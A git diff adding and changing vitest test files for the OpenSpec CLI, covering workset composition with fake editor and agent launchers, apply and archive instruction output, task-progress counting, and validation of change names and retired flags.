+import { + createFakeTool, + envWithFakeTools, + readLaunchLog, +} from '../helpers/fake-tool.js'; +import { snapshotDirectory as snapshot } from '../helpers/fs-snapshot.js'; + +/** + * The 7.1 journey: compose -> list -> open (both styles) -> remove, + * proving the feature leaves no footprint - member folders are + * byte-untouched, the relationship surfaces (context/doctor) are + * byte-identical before and after, and a teammate's machine sees + * nothing. + */ +describe('workset journey (7.1 e2e)', () => { + let tempDir: string; + let env: NodeJS.ProcessEnv; + let globalDataDir: string; + let storeRoot: string; + let appRepo: string; + let scratchFolder: string; + + beforeEach(async () => { + process.env.OPENSPEC_ENABLE_CLI_AGENT_OPENERS = '1'; + tempDir = fs.realpathSync.native( + fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-workset-e2e-')) + ); + env = { + XDG_DATA_HOME: path.join(tempDir, 'data'), + XDG_CONFIG_HOME: path.join(tempDir, 'config'), + OPEN_SPEC_INTERACTIVE: '0', + OPENSPEC_TELEMETRY: '0', + PATH: path.dirname(process.execPath), + }; + globalDataDir = getGlobalDataDir({ env }); + + // A real relationship topology so independence is provable. + storeRoot = path.join(tempDir, 'team-context'); + createOpenSpecRoot(storeRoot); + await registerStore({ + id: 'team-context', + localPath: storeRoot, + globalDataDir, + }); + + appRepo = path.join(tempDir, 'web-app'); + createOpenSpecRoot(appRepo); + fs.writeFileSync( + path.join(appRepo, 'openspec', 'config.yaml'), + 'schema: spec-driven\nreferences:\n - team-context\n' + ); + + scratchFolder = path.join(tempDir, 'notes'); + fs.mkdirSync(scratchFolder, { recursive: true }); + fs.writeFileSync(path.join(scratchFolder, 'todo.md'), '- ship 7.1\n'); + }); + + afterEach(() => { + delete process.env.OPENSPEC_ENABLE_CLI_AGENT_OPENERS; + // Windows can hold a brief handle on a just-exited spawned CLI/opener; + // retry the recursive remove so EBUSY during teardown does not flake. + fs.rmSync(tempDir, { recursive: true, force: true, maxRetries: 5, retryDelay: 100 }); + }); + + function parseJson(result: RunCLIResult): any { + return JSON.parse(result.stdout); + } + + it('compose -> list -> open both styles -> remove, with no footprint', async () => { + const fakeCode = createFakeTool(tempDir, 'code'); + const fakeClaude = createFakeTool(tempDir, 'claude'); + const launchEnv = envWithFakeTools(env, [fakeCode, fakeClaude]); + + const memberSnapshots = [ + snapshot(storeRoot), + snapshot(appRepo), + snapshot(scratchFolder), + ]; + const contextBefore = await runCLI(['context', '--json'], { + cwd: appRepo, + env, + }); + const doctorBefore = await runCLI(['doctor', '--json'], { + cwd: appRepo, + env, + }); + + // Compose: a planning root, a code repo, and a plain folder - any + // folders, any number, no relationship required. + const created = await runCLI( + [ + 'workset', + 'create', + 'platform', + '--member', + storeRoot, + '--member', + appRepo, + '--member', + `notes=${scratchFolder}`, + '--tool', + 'claude', + '--json', + ], + { cwd: tempDir, env } + ); + expect(created.exitCode).toBe(0); + expect(parseJson(created).workset.members).toHaveLength(3); + + // Reopen surface: the saved view is listed by name. + const listed = await runCLI(['workset', 'list', '--json'], { + cwd: tempDir, + env, + }); + expect(parseJson(listed).worksets.map((w: { name: string }) => w.name)).toEqual( + ['platform'] + ); + + // Editor open: window opens (fake records argv), command returns 0. + const editorOpen = await runCLI( + ['workset', 'open', 'platform', '--tool', 'code'], + { cwd: tempDir, env: launchEnv } + ); + expect(editorOpen.exitCode).toBe(0); + const codeLaunch = readLaunchLog(fakeCode.logPath); + expect(codeLaunch.args).toHaveLength(1); + const generatedPath = codeLaunch.args[0]; + expect(generatedPath.endsWith('platform.code-workspace')).toBe(true); + expect(JSON.parse(fs.readFileSync(generatedPath, 'utf-8'))).toEqual({ + folders: [ + { name: 'team-context', path: storeRoot }, + { name: 'web-app', path: appRepo }, + { name: 'notes', path: scratchFolder }, + ], + }); + + // Agent open: the saved preference, every member attached, clean + // session (no positional anywhere). + const agentOpen = await runCLI(['workset', 'open', 'platform'], { + cwd: tempDir, + env: launchEnv, + }); + expect(agentOpen.exitCode).toBe(0); + const claudeLaunch = readLaunchLog(fakeClaude.logPath); + expect(claudeLaunch.args).toEqual([ + '--add-dir', + storeRoot, + '--add-dir', + appRepo, + '--add-dir', + scratchFolder, + ]); + expect(fs.realpathSync.native(claudeLaunch.cwd)).toBe(storeRoot); + + // Remove: only the saved view goes. + const removed = await runCLI( + ['workset', 'remove', 'platform', '--yes', '--json'], + { cwd: tempDir, env } + ); + expect(removed.exitCode).toBe(0); + + // No footprint: members byte-untouched, relationship surfaces + // byte-identical, and deleting the worksets dir removes every trace. + expect(snapshot(storeRoot)).toEqual(memberSnapshots[0]); + expect(snapshot(appRepo)).toEqual(memberSnapshots[1]); + expect(snapshot(scratchFolder)).toEqual(memberSnapshots[2]); + + const contextAfter = await runCLI(['context', '--json'], { + cwd: appRepo, + env, + }); + const doctorAfter = await runCLI(['doctor', '--json'], { + cwd: appRepo, + env, + }); + expect(contextAfter.stdout).toBe(contextBefore.stdout); + expect(doctorAfter.stdout).toBe(doctorBefore.stdout); + + const worksetsDir = getWorksetsDir({ globalDataDir }); + fs.rmSync(worksetsDir, { recursive: true, force: true }); + const listAfterDelete = await runCLI(['workset', 'list', '--json'], { + cwd: tempDir, + env, + }); + expect(parseJson(listAfterDelete)).toEqual({ worksets: [], status: [] }); + // ~10 CLI subprocess spawns; the 10s default is tight on slow Windows runners. + }, 60_000); + + it('composition is personal: two machines over the same checkout never meet', async () => { + const teammateEnv: NodeJS.ProcessEnv = { + ...env, + XDG_DATA_HOME: path.join(tempDir, 'teammate-data'), + XDG_CONFIG_HOME: path.join(tempDir, 'teammate-config'), + }; + const checkoutBefore = snapshot(storeRoot); + + const mine = await runCLI( + [ + 'workset', + 'create', + 'mine', + '--member', + storeRoot, + '--member', + scratchFolder, + '--json', + ], + { cwd: tempDir, env } + ); + expect(mine.exitCode).toBe(0); + + const theirs = await runCLI( + ['workset', 'create', 'theirs', '--member', storeRoot, '--json'], + { cwd: tempDir, env: teammateEnv } + ); + expect(theirs.exitCode).toBe(0); + + const myList = await runCLI(['workset', 'list', '--json'], { + cwd: tempDir, + env, + }); + const theirList = await runCLI(['workset', 'list', '--json'], { + cwd: tempDir, + env: teammateEnv, + }); + expect(parseJson(myList).worksets.map((w: { name: string }) => w.name)).toEqual( + ['mine'] + ); + expect( + parseJson(theirList).worksets.map((w: { name: string }) => w.name) + ).toEqual(['theirs']); + + // Removing mine affects nothing of theirs, and the shared checkout + // is byte-untouched throughout. + await runCLI(['workset', 'remove', 'mine', '--yes', '--json'], { + cwd: tempDir, + env, + }); + expect( + parseJson( + await runCLI(['workset', 'list', '--json'], { + cwd: tempDir, + env: teammateEnv, + }) + ).worksets + ).toHaveLength(1); + expect(snapshot(storeRoot)).toEqual(checkoutBefore); + }, 60_000); +}); diff --git a/test/commands/apply-instructions-tasks.test.ts b/test/commands/apply-instructions-tasks.test.ts new file mode 100644 index 0000000000..f6f81e9c7a --- /dev/null +++ b/test/commands/apply-instructions-tasks.test.ts @@ -0,0 +1,118 @@ +import { describe, it, expect, beforeEach, afterEach } from 'vitest'; +import * as fs from 'node:fs'; +import * as path from 'node:path'; +import * as os from 'node:os'; +import { generateApplyInstructions } from '../../src/commands/workflow/instructions.js'; +import { getTaskProgressForChange } from '../../src/utils/task-progress.js'; + +/** + * The apply task list and task progress read the same tasks file, so they must + * see the same tasks - including indented sub-tasks, which the apply parser + * used to drop. + */ +describe('generateApplyInstructions task list', () => { + let tempDir: string; + let changeDir: string; + + beforeEach(() => { + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-apply-tasks-')); + changeDir = path.join(tempDir, 'openspec', 'changes', 'my-change'); + fs.mkdirSync(path.join(changeDir, 'specs', 'demo'), { recursive: true }); + fs.writeFileSync(path.join(changeDir, '.openspec.yaml'), 'schema: spec-driven\n'); + fs.writeFileSync(path.join(changeDir, 'proposal.md'), '## Why\nx\n'); + fs.writeFileSync( + path.join(changeDir, 'specs', 'demo', 'spec.md'), + '## ADDED Requirements\n\n### Requirement: Demo\nThe system SHALL demo.\n\n#### Scenario: Works\n- **WHEN** run\n- **THEN** works\n' + ); + }); + + afterEach(() => { + fs.rmSync(tempDir, { recursive: true, force: true }); + }); + + function writeTasks(content: string): void { + fs.writeFileSync(path.join(changeDir, 'tasks.md'), content); + } + + it('lists indented sub-tasks alongside their parents', async () => { + writeTasks( + [ + '## 1. Implementation', + '- [x] 1.1 Parent task', + ' - [ ] 1.1.1 Unfinished sub-task', + '- [ ] 1.2 Second parent', + '', + ].join('\n') + ); + + const instructions = await generateApplyInstructions(tempDir, 'my-change'); + + expect(instructions.tasks.map((task) => task.description)).toEqual([ + '1.1 Parent task', + '1.1.1 Unfinished sub-task', + '1.2 Second parent', + ]); + expect(instructions.progress).toEqual({ total: 3, complete: 1, remaining: 2 }); + }); + + it('reports the totals openspec list reports for the same change', async () => { + writeTasks( + ['## 1. Implementation', '- [x] 1.1 Parent task', ' - [ ] 1.1.1 Unfinished sub-task', ''].join( + '\n' + ) + ); + + const instructions = await generateApplyInstructions(tempDir, 'my-change'); + // `openspec list` reads progress through getTaskProgressForChange, not the + // apply parser. The two must not disagree about the same file. + const listProgress = await getTaskProgressForChange( + path.join(tempDir, 'openspec', 'changes'), + 'my-change', + tempDir + ); + + expect(listProgress).toEqual({ total: 2, completed: 1 }); + expect(instructions.progress.total).toBe(listProgress.total); + expect(instructions.progress.complete).toBe(listProgress.completed); + }); + + it('reports a file of text-less checkboxes as having nothing to work on', async () => { + writeTasks('## 1. Implementation\n- [x]\n'); + + const instructions = await generateApplyInstructions(tempDir, 'my-change'); + + // As before the shared parser: apply points at regenerating the file + // rather than listing a blank row an agent cannot act on. + expect(instructions.tasks).toEqual([]); + expect(instructions.state).toBe('blocked'); + expect(instructions.instruction).toContain('contains no tasks'); + }); + + it('counts a text-less checkbox toward progress even though it lists none', async () => { + // Progress must not disagree with `openspec list` or archive's gate just + // because a line carries no text an agent could act on: hiding the row is + // presentation, dropping it from the count would understate the work left. + writeTasks('## 1. Implementation\n- [x] 1.1 Real task\n- [ ] \n'); + + const instructions = await generateApplyInstructions(tempDir, 'my-change'); + const listProgress = await getTaskProgressForChange( + path.join(tempDir, 'openspec', 'changes'), + 'my-change', + tempDir + ); + + expect(instructions.tasks.map((task) => task.description)).toEqual(['1.1 Real task']); + expect(instructions.progress).toEqual({ total: 2, complete: 1, remaining: 1 }); + expect(instructions.state).toBe('ready'); + expect(listProgress).toEqual({ total: 2, completed: 1 }); + }); + + it('does not call a change done while a bare checkbox is still unchecked', async () => { + writeTasks('## 1. Implementation\n- [x] 1.1 Real task\n- [ ]\n'); + + const instructions = await generateApplyInstructions(tempDir, 'my-change'); + + expect(instructions.progress).toEqual({ total: 2, complete: 1, remaining: 1 }); + expect(instructions.state).toBe('ready'); + }); +}); diff --git a/test/commands/artifact-workflow.test.ts b/test/commands/artifact-workflow.test.ts index 613e37f986..1d5000c7f6 100644 --- a/test/commands/artifact-workflow.test.ts +++ b/test/commands/artifact-workflow.test.ts @@ -118,6 +118,7 @@ describe('artifact-workflow CLI commands', () => { const json = JSON.parse(result.stdout); expect(json.changeName).toBe('json-change'); expect(json.schemaName).toBe('spec-driven'); + expect(json.isPlanningComplete).toBe(false); expect(json.isComplete).toBe(false); expect(Array.isArray(json.artifacts)).toBe(true); expect(json.artifacts).toHaveLength(4); @@ -126,13 +127,78 @@ describe('artifact-workflow CLI commands', () => { expect(proposalArtifact.status).toBe('done'); }); - it('shows complete status when all artifacts are done', async () => { + it('recommends specs before design for a proposal-only change', async () => { + await createTestChange('order-change'); + + const result = await runCLI(['status', '--change', 'order-change', '--json'], { + cwd: tempDir, + }); + expect(result.exitCode).toBe(0); + + const json = JSON.parse(result.stdout); + expect(json.artifacts.map((a: any) => a.id)).toEqual(['proposal', 'specs', 'design', 'tasks']); + expect(json.nextSteps[0]).toContain('openspec instructions specs'); + }); + + it('shows planning completion when all artifacts exist', async () => { await createTestChange('complete-change', ['proposal', 'design', 'specs', 'tasks']); const result = await runCLI(['status', '--change', 'complete-change'], { cwd: tempDir }); expect(result.exitCode).toBe(0); expect(result.stdout).toContain('4/4 artifacts complete'); - expect(result.stdout).toContain('All artifacts complete!'); + expect(result.stdout).toContain('All planning artifacts complete!'); + expect(result.stdout).not.toContain('All artifacts complete!'); + }); + + it('distinguishes planning completion from implementation task completion', async () => { + await createTestChange('planned-change', ['proposal', 'design', 'specs', 'tasks']); + + const statusResult = await runCLI(['status', '--change', 'planned-change', '--json'], { + cwd: tempDir, + }); + const applyResult = await runCLI( + ['instructions', 'apply', '--change', 'planned-change', '--json'], + { cwd: tempDir } + ); + + expect(statusResult.exitCode).toBe(0); + expect(applyResult.exitCode).toBe(0); + + const status = JSON.parse(statusResult.stdout); + const apply = JSON.parse(applyResult.stdout); + expect(status.isPlanningComplete).toBe(true); + expect(status.isComplete).toBe(true); + expect(status.nextSteps[0]).toContain( + 'openspec instructions apply --change "planned-change" --json' + ); + expect(status.nextSteps[0]).not.toContain('before implementation'); + expect(apply.state).toBe('ready'); + expect(apply.progress.remaining).toBe(1); + }); + + it('reports skipped planning artifacts as complete without creating them', async () => { + const changeDir = await createTestChange('skip-specs-change', [ + 'proposal', + 'design', + 'tasks', + ]); + await fs.writeFile( + path.join(changeDir, '.openspec.yaml'), + 'schema: spec-driven\nskip_specs: true\n' + ); + + const result = await runCLI(['status', '--change', 'skip-specs-change', '--json'], { + cwd: tempDir, + }); + + expect(result.exitCode).toBe(0); + const status = JSON.parse(result.stdout); + expect(status.isPlanningComplete).toBe(true); + expect(status.isComplete).toBe(status.isPlanningComplete); + expect(status.artifacts.find((artifact: any) => artifact.id === 'specs')?.status).toBe( + 'skipped' + ); + await expect(fs.stat(path.join(changeDir, 'specs'))).rejects.toMatchObject({ code: 'ENOENT' }); }); it('exits gracefully when no changes exist', async () => { @@ -212,6 +278,33 @@ describe('artifact-workflow CLI commands', () => { const output = getOutput(result); expect(output).toContain('Invalid change name'); }); + + it('rejects hidden directory names', async () => { + const result = await runCLI(['status', '--change', '.hidden'], { cwd: tempDir }); + expect(result.exitCode).toBe(1); + const output = getOutput(result); + expect(output).toContain('Invalid change name'); + }); + + it('rejects the reserved archive directory name', async () => { + await fs.mkdir(path.join(changesDir, 'archive'), { recursive: true }); + + const result = await runCLI(['status', '--change', 'archive'], { cwd: tempDir }); + expect(result.exitCode).toBe(1); + const output = getOutput(result); + expect(output).toContain('Invalid change name'); + }); + + it('accepts digit-leading change names that exist on disk (#1308)', async () => { + await createTestChange('2026-07-04-voice-copilot-v1', ['proposal', 'design']); + + const result = await runCLI(['status', '--change', '2026-07-04-voice-copilot-v1'], { + cwd: tempDir, + }); + expect(result.exitCode).toBe(0); + expect(result.stdout).toContain('2026-07-04-voice-copilot-v1'); + expect(result.stdout).toContain('2/4 artifacts complete'); + }); }); describe('instructions command', () => { @@ -290,6 +383,17 @@ describe('artifact-workflow CLI commands', () => { expect(output).toContain("Artifact 'unknown-artifact' not found"); expect(output).toContain('Valid artifacts'); }); + + it('accepts digit-leading change names that exist on disk (#1308)', async () => { + await createTestChange('2026-07-04-voice-copilot-v1', ['proposal']); + + const result = await runCLI( + ['instructions', 'design', '--change', '2026-07-04-voice-copilot-v1'], + { cwd: tempDir } + ); + expect(result.exitCode).toBe(0); + expect(result.stdout).toContain('<artifact id="design"'); + }); }); describe('templates command', () => { @@ -342,6 +446,48 @@ describe('artifact-workflow CLI commands', () => { expect(stat.isDirectory()).toBe(true); }); + it('rejects --initiative and writes no change', async () => { + const result = await runCLI( + ['new', 'change', 'linked-change', '--initiative', 'billing-launch'], + { cwd: tempDir } + ); + expect(result.exitCode).toBe(1); + const output = getOutput(result); + expect(output).toContain('--initiative is no longer supported'); + await expect(fs.stat(path.join(changesDir, 'linked-change'))).rejects.toMatchObject({ + code: 'ENOENT', + }); + }); + + it('rejects --areas and writes no affected-area metadata', async () => { + const result = await runCLI(['new', 'change', 'area-change', '--areas', 'api'], { + cwd: tempDir, + }); + expect(result.exitCode).toBe(1); + const output = getOutput(result); + expect(output).toContain('--areas is no longer supported'); + await expect(fs.stat(path.join(changesDir, 'area-change'))).rejects.toMatchObject({ + code: 'ENOENT', + }); + }); + + it('keeps --goal as ordinary metadata without switching schema', async () => { + const result = await runCLI( + ['new', 'change', 'goal-change', '--goal', 'Improve billing'], + { cwd: tempDir } + ); + expect(result.exitCode).toBe(0); + + const metadata = await fs.readFile( + path.join(changesDir, 'goal-change', '.openspec.yaml'), + 'utf-8' + ); + expect(metadata).toContain('schema: spec-driven'); + expect(metadata).toContain('goal: Improve billing'); + expect(metadata).not.toContain('affected_areas'); + expect(metadata).not.toContain('initiative'); + }); + it('creates README.md when --description is provided', async () => { const result = await runCLI( ['new', 'change', 'described-feature', '--description', 'This is a test feature'], @@ -392,6 +538,16 @@ describe('artifact-workflow CLI commands', () => { }); it('shows blocked state when required artifacts are missing', async () => { + await fs.writeFile( + path.join(tempDir, 'openspec', 'config.yaml'), + `schema: spec-driven +context: Required blocked-state context +operations: + apply: + guidance: + - Advisory blocked-state guidance +` + ); // Only create proposal - missing tasks (required by spec-driven apply block) await createTestChange('blocked-apply', ['proposal']); @@ -401,6 +557,8 @@ describe('artifact-workflow CLI commands', () => { expect(result.exitCode).toBe(0); expect(result.stdout).toContain('Blocked'); expect(result.stdout).toContain('Missing artifacts: tasks'); + expect(result.stdout).toContain('### Project Context (required instruction input)'); + expect(result.stdout).toContain('### Operation Guidance (advisory)'); }); it('outputs JSON for apply instructions', async () => { @@ -425,6 +583,162 @@ describe('artifact-workflow CLI commands', () => { expect(json.contextFiles.specs).toEqual([expectedSpecPath]); }); + it('returns current context and matching apply guidance as separate JSON fields', async () => { + await fs.writeFile( + path.join(tempDir, 'openspec', 'config.yaml'), + `schema: spec-driven +context: | + Current project context +rules: + specs: + - Artifact-only rule +operations: + apply: + guidance: + - Apply guidance + archive: + guidance: + - Archive guidance +` + ); + await createTestChange('apply-inputs', ['proposal', 'design', 'specs', 'tasks']); + + const result = await runCLI( + ['instructions', 'apply', '--change', 'apply-inputs', '--json'], + { cwd: tempDir } + ); + + expect(result.exitCode).toBe(0); + const json = JSON.parse(result.stdout); + expect(json.context).toBe('Current project context\n'); + expect(json.operationGuidance).toEqual(['Apply guidance']); + expect(JSON.stringify(json)).not.toContain('Archive guidance'); + expect(JSON.stringify(json)).not.toContain('Artifact-only rule'); + expect(json.state).toBe('ready'); + expect(json.progress).toEqual({ total: 1, complete: 0, remaining: 1 }); + expect(json.tasks).toEqual([{ id: '1', description: 'Task 1', done: false }]); + expect(json.contextFiles).toBeDefined(); + expect(json.root).toBeDefined(); + }); + + it('renders required context and advisory apply guidance as distinct text sections', async () => { + await fs.writeFile( + path.join(tempDir, 'openspec', 'config.yaml'), + `schema: spec-driven +context: Project background +operations: + apply: + guidance: + - Keep summaries concise +` + ); + await createTestChange('apply-text-inputs', ['proposal', 'design', 'specs', 'tasks']); + + const result = await runCLI( + ['instructions', 'apply', '--change', 'apply-text-inputs'], + { cwd: tempDir } + ); + + expect(result.exitCode).toBe(0); + expect(result.stdout).toContain('### Instruction'); + expect(result.stdout).toContain('### Project Context (required instruction input)'); + expect(result.stdout).toContain('Project background'); + expect(result.stdout).toContain('### Operation Guidance (advisory)'); + expect(result.stdout).toContain('- Keep summaries concise'); + expect(result.stdout).not.toContain('### Project Context (advisory)'); + }); + + it('omits absent operation inputs without changing apply state behavior', async () => { + await fs.writeFile( + path.join(tempDir, 'openspec', 'config.yaml'), + `schema: spec-driven +rules: + specs: + - Artifact-only rule +` + ); + await createTestChange('apply-no-inputs', ['proposal', 'design', 'specs', 'tasks']); + + const result = await runCLI( + ['instructions', 'apply', '--change', 'apply-no-inputs', '--json'], + { cwd: tempDir } + ); + + expect(result.exitCode).toBe(0); + const json = JSON.parse(result.stdout); + expect(json.context).toBeUndefined(); + expect(json.operationGuidance).toBeUndefined(); + expect(json.state).toBe('ready'); + expect(JSON.stringify(json)).not.toContain('Artifact-only rule'); + }); + + it('reads a fresh apply config snapshot on every command invocation', async () => { + const configPath = path.join(tempDir, 'openspec', 'config.yaml'); + await createTestChange('apply-fresh-inputs', ['proposal', 'design', 'specs', 'tasks']); + await fs.writeFile( + configPath, + `schema: spec-driven +context: Initial context +operations: + apply: + guidance: + - Initial guidance +` + ); + + const first = await runCLI( + ['instructions', 'apply', '--change', 'apply-fresh-inputs', '--json'], + { cwd: tempDir } + ); + await fs.writeFile( + configPath, + `schema: spec-driven +context: Updated context +operations: + apply: + guidance: + - Updated guidance +` + ); + const second = await runCLI( + ['instructions', 'apply', '--change', 'apply-fresh-inputs', '--json'], + { cwd: tempDir } + ); + + expect(JSON.parse(first.stdout)).toMatchObject({ + context: 'Initial context', + operationGuidance: ['Initial guidance'], + }); + expect(JSON.parse(second.stdout)).toMatchObject({ + context: 'Updated context', + operationGuidance: ['Updated guidance'], + }); + }); + + it('reads malformed operation config once and emits one warning per command', async () => { + await fs.writeFile( + path.join(tempDir, 'openspec', 'config.yaml'), + `schema: spec-driven +operations: + apply: + guidance: invalid +` + ); + await createTestChange('apply-one-warning', ['proposal', 'design', 'specs', 'tasks']); + + const result = await runCLI( + ['instructions', 'apply', '--change', 'apply-one-warning', '--json'], + { cwd: tempDir } + ); + + expect(result.exitCode).toBe(0); + const matches = result.stderr.match( + /Guidance for operation 'apply' must be an array of strings/g + ); + expect(matches).toHaveLength(1); + expect(JSON.parse(result.stdout).operationGuidance).toBeUndefined(); + }); + it('resolves single-star glob artifacts consistently between status and apply', async () => { const schemaDir = path.join(tempDir, 'openspec', 'schemas', 'glob-test'); const templatesDir = path.join(schemaDir, 'templates'); @@ -464,6 +778,7 @@ apply: id: 'specs', outputPath: 'specs/*/spec.md', status: 'done', + requires: [], }, ]); @@ -493,6 +808,16 @@ apply: }); it('shows all_done state when all tasks are complete', async () => { + await fs.writeFile( + path.join(tempDir, 'openspec', 'config.yaml'), + `schema: spec-driven +context: Required all-done context +operations: + apply: + guidance: + - Advisory all-done guidance +` + ); const changeDir = await createTestChange('done-apply', [ 'proposal', 'design', @@ -511,6 +836,8 @@ apply: expect(result.exitCode).toBe(0); expect(result.stdout).toContain('complete ✓'); expect(result.stdout).toContain('ready to be archived'); + expect(result.stdout).toContain('### Project Context (required instruction input)'); + expect(result.stdout).toContain('### Operation Guidance (advisory)'); }); it('uses spec-driven schema apply configuration', async () => { @@ -634,6 +961,183 @@ artifacts: }); }); + describe('instructions archive command', () => { + it('returns current archive context, guidance, and the root envelope in JSON', async () => { + await fs.writeFile( + path.join(tempDir, 'openspec', 'config.yaml'), + `schema: spec-driven +context: Archive project context +rules: + specs: + - Artifact-only rule +operations: + apply: + guidance: + - Apply guidance + archive: + guidance: + - Archive guidance +` + ); + await createTestChange('archive-inputs', ['proposal', 'design', 'specs', 'tasks']); + + const result = await runCLI( + ['instructions', 'archive', '--change', 'archive-inputs', '--json'], + { cwd: tempDir } + ); + + expect(result.exitCode).toBe(0); + expect(result.stderr).toBe(''); + expect(JSON.parse(result.stdout)).toEqual({ + changeName: 'archive-inputs', + context: 'Archive project context', + operationGuidance: ['Archive guidance'], + root: { + path: canonical(tempDir), + source: 'nearest', + }, + }); + expect(result.stdout).not.toContain('Apply guidance'); + expect(result.stdout).not.toContain('Artifact-only rule'); + expect(result.stdout).not.toContain('Perform the archive'); + }); + + it('renders required context and advisory archive guidance as separate text sections', async () => { + await fs.writeFile( + path.join(tempDir, 'openspec', 'config.yaml'), + `schema: spec-driven +context: Archive background +operations: + archive: + guidance: + - Summarize the outcome +` + ); + await createTestChange('archive-text-inputs'); + + const result = await runCLI( + ['instructions', 'archive', '--change', 'archive-text-inputs'], + { cwd: tempDir } + ); + + expect(result.exitCode).toBe(0); + expect(result.stdout).toContain('## Archive Inputs: archive-text-inputs'); + expect(result.stdout).toContain('### Project Context (required instruction input)'); + expect(result.stdout).toContain('Archive background'); + expect(result.stdout).toContain('### Operation Guidance (advisory)'); + expect(result.stdout).toContain('- Summarize the outcome'); + expect(result.stdout).not.toContain('### Project Context (advisory)'); + }); + + it('succeeds with valid empty inputs and omits optional JSON fields', async () => { + await fs.writeFile( + path.join(tempDir, 'openspec', 'config.yaml'), + 'schema: spec-driven\n' + ); + await createTestChange('archive-no-inputs'); + + const jsonResult = await runCLI( + ['instructions', 'archive', '--change', 'archive-no-inputs', '--json'], + { cwd: tempDir } + ); + const textResult = await runCLI( + ['instructions', 'archive', '--change', 'archive-no-inputs'], + { cwd: tempDir } + ); + + expect(jsonResult.exitCode).toBe(0); + const json = JSON.parse(jsonResult.stdout); + expect(json.changeName).toBe('archive-no-inputs'); + expect(json.context).toBeUndefined(); + expect(json.operationGuidance).toBeUndefined(); + expect(textResult.stdout).toContain( + 'No project context or operation guidance configured.' + ); + }); + + it('requires a change and rejects changes outside the selected root', async () => { + await createTestChange('available-change'); + + const missing = await runCLI(['instructions', 'archive', '--json'], { + cwd: tempDir, + }); + const invalid = await runCLI( + ['instructions', 'archive', '--change', 'missing-change', '--json'], + { cwd: tempDir } + ); + + expect(missing.exitCode).toBe(1); + expect(JSON.parse(missing.stdout).status[0].message).toContain( + 'Missing required option --change' + ); + expect(invalid.exitCode).toBe(1); + expect(JSON.parse(invalid.stdout).status[0].message).toContain( + "Change 'missing-change' not found" + ); + }); + + it('reads fresh archive inputs without mutating specs or the change', async () => { + const configPath = path.join(tempDir, 'openspec', 'config.yaml'); + const changeDir = await createTestChange('archive-read-only', [ + 'proposal', + 'design', + 'specs', + 'tasks', + ]); + const proposalPath = path.join(changeDir, 'proposal.md'); + const proposalBefore = await fs.readFile(proposalPath, 'utf-8'); + await fs.writeFile( + configPath, + `schema: spec-driven +context: First archive context +operations: + archive: + guidance: + - First archive guidance +` + ); + + const first = await runCLI( + ['instructions', 'archive', '--change', 'archive-read-only', '--json'], + { cwd: tempDir } + ); + await fs.writeFile( + configPath, + `schema: spec-driven +context: Second archive context +operations: + archive: + guidance: + - Second archive guidance +` + ); + const second = await runCLI( + ['instructions', 'archive', '--change', 'archive-read-only', '--json'], + { cwd: tempDir } + ); + + expect(JSON.parse(first.stdout)).toMatchObject({ + context: 'First archive context', + operationGuidance: ['First archive guidance'], + }); + expect(JSON.parse(second.stdout)).toMatchObject({ + context: 'Second archive context', + operationGuidance: ['Second archive guidance'], + }); + expect(await fs.readFile(proposalPath, 'utf-8')).toBe(proposalBefore); + expect(await fs.readdir(path.join(changeDir, 'specs'))).toEqual(['test-spec.md']); + expect( + await fs.readdir(path.join(tempDir, 'openspec', 'changes')) + ).toContain('archive-read-only'); + expect( + await fs + .stat(path.join(tempDir, 'openspec', 'specs')) + .then(() => true) + .catch(() => false) + ).toBe(false); + }); + }); + describe('help text', () => { it('status command help shows description', async () => { const result = await runCLI(['status', '--help']); @@ -677,14 +1181,15 @@ artifacts: expect(output).toContain('Invalid tool(s): unknown-tool'); }); - it('errors for tool without skillsDir', async () => { - // Using 'agents' which doesn't have skillsDir configured + it('creates skills for the shared agents target', async () => { const result = await runCLI(['experimental', '--tool', 'agents'], { cwd: tempDir, }); - expect(result.exitCode).toBe(1); - const output = getOutput(result); - expect(output).toContain('Invalid tool(s): agents'); + expect(result.exitCode).toBe(0); + + const skillFile = path.join(tempDir, '.agents', 'skills', 'openspec-explore', 'SKILL.md'); + const stat = await fs.stat(skillFile); + expect(stat.isFile()).toBe(true); }); it('creates skills for Claude tool', async () => { @@ -719,20 +1224,20 @@ artifacts: // Verify commands were created with Cursor format const commandFile = path.join(tempDir, '.cursor', 'commands', 'opsx-explore.md'); const content = await fs.readFile(commandFile, 'utf-8'); - expect(content).toContain('name: /opsx-explore'); + expect(content).toContain('name: "/opsx-explore"'); }); - it('creates skills for Windsurf tool', async () => { + it('creates skills for the retired windsurf id, under Devin Desktop', async () => { const result = await runCLI(['experimental', '--tool', 'windsurf'], { cwd: tempDir, }); expect(result.exitCode).toBe(0); const output = normalizePaths(getOutput(result)); - expect(output).toContain('Windsurf'); - expect(output).toContain('.windsurf/'); + expect(output).toContain('Devin Desktop'); + expect(output).toContain('.devin/'); // Verify skill files were created - const skillFile = path.join(tempDir, '.windsurf', 'skills', 'openspec-explore', 'SKILL.md'); + const skillFile = path.join(tempDir, '.devin', 'skills', 'openspec-explore', 'SKILL.md'); const stat = await fs.stat(skillFile); expect(stat.isFile()).toBe(true); }); diff --git a/test/commands/change-initiative-link.test.ts b/test/commands/change-initiative-link.test.ts new file mode 100644 index 0000000000..c1a7797b57 --- /dev/null +++ b/test/commands/change-initiative-link.test.ts @@ -0,0 +1,132 @@ +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; + +import { readChangeMetadata } from '../../src/utils/change-metadata.js'; +import { runCLI, type RunCLIResult } from '../helpers/run-cli.js'; + +/** + * Initiative-link creation was removed from normal change flows in the + * store-root-selection slice: `new change` no longer accepts `--initiative` + * and `openspec set change` is gone. Existing initiative metadata from the + * beta remains readable and untouched; this suite covers that legacy + * behavior. + */ +describe('legacy repo-local change initiative metadata', () => { + let tempDir: string; + let env: NodeJS.ProcessEnv; + + beforeEach(() => { + tempDir = fs.realpathSync.native( + fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-change-initiative-link-')) + ); + env = { + XDG_DATA_HOME: path.join(tempDir, 'data'), + XDG_CONFIG_HOME: path.join(tempDir, 'config'), + OPEN_SPEC_INTERACTIVE: '0', + OPENSPEC_TELEMETRY: '0', + }; + fs.mkdirSync(path.join(tempDir, 'openspec', 'changes'), { recursive: true }); + }); + + afterEach(() => { + fs.rmSync(tempDir, { recursive: true, force: true }); + }); + + function parseJson(result: RunCLIResult): any { + try { + return JSON.parse(result.stdout); + } catch (error) { + throw new Error( + `Could not parse JSON.\nCommand: 